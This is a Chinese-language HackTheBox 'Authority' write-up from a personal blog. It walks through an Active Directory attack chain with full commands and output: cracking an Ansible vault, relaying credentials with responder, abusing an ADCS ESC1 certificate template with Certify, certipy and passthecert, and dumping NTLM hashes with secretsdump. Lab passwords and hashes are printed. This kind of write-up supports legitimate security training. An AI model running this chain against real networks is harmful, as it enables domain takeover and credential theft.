Hackthebox - Authority

#ansible #Certify
赛博雨天：https://yutianqaq.github.io/

Recon

smb

smbmap -H 10.10.11.222 -u ' '

挂载 smb 到 kali
mount -t cifs //10.10.11.222/Development ./smb -o username=smb

在 cat smb/Automation/Ansible/PWM/defaults/main.yml 得到 ansible 的加密 vault

Ansible

对于 ansible vault 加密，就是破解出 vault 的密码，再从 vault 中解出来存储的密码

• Ansible - Pentester’s Promiscuous Notebook
  https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/ansible

接下来使用 john 恢复

cat pwm_admin_password 
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531                                                                            
┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/S2/Authority]
└─$ ansible2john pwm_admin_password > pwm_admin_password.hash

┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/S2/Authority]
└─$ john -w=/usr/share/wordlists/rockyou.txt admin_login.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&*         (hash)                                                           

解密 hash

cat pwm_admin_password | ansible-vault decrypt
Vault password: 
Decryption successful
pWm_@dm!N_!23  

此密码可以用于登录 PWM

PWM

使用得到的密码进入 Configuration Manager 登录 PWM

下载配置文件

修改配置后上传

使用 responder 监听
sudo responder -I tun0

得到明文密码

USER flag

登录到靶机
evil-winrm -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -i 10.10.11.222 -N

Privilege Escalation

根据前面在 smb 里看到 ADCS 目录以及 C 盘下的 Certs

上传 Certify 到靶机，得到一个脆弱的证书信息

*Evil-WinRM* PS C:\Users\svc_ldap\Downloads> upload Certify.exe       
*Evil-WinRM* PS C:\Users\svc_ldap\Downloads> .\Certify.exe find /vulnerable

根据得到信息，可以看到存在漏洞模板，但是需要 Domain Computers

ADCS ESC1

接下来创建一个机器账户

impacket-addcomputer  authority.htb/svc_ldap:'SVC_PASSWORD' -computer-name catcat$ -computer-pass Password123

使用Certipy，我们使用计算机帐户“catcat$”生成了一个证书请求，密码为“Password123”，模板为“CorpVPN”。

certipy req -u 'STX$' -p 'Password123!' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn administrator@authority.htb -dns authority.authority.htb -dc-ip 10.10.11.222

接下来，我们生成两个新证书:一个不包括私钥，另一个不包括证书。

certipy cert -pfx administrator_authority.pfx -nokey -out user.crt

certipy cert -pfx administrator_authority.pfx -nocert -out user.key

https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

现在，使用 passcert.py 工具，我们可以使用证书对LDAPS服务器进行身份验证，从而将我们的用户添加到管理员组。

 wget https://raw.githubusercontent.com/AlmondOffSec/PassTheCert/main/Python/passthecert.py

python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222

add_user_to_group svc_ldap Administrators

现在 svc_ldap 已经有了管理员权限

hashdump

python3 ~/Tools/impacket/examples/secretsdump.py svc_ldap:"lDaP_1n_th3_cle4r\!"@10.10.11.222 -just-dc-ntlm  
  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::  
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::  
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:5f2d84fb5e44ccaddb52c672b9578fcb:::

• Ansible - Pentester Promiscuous Notebook
  https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/ansible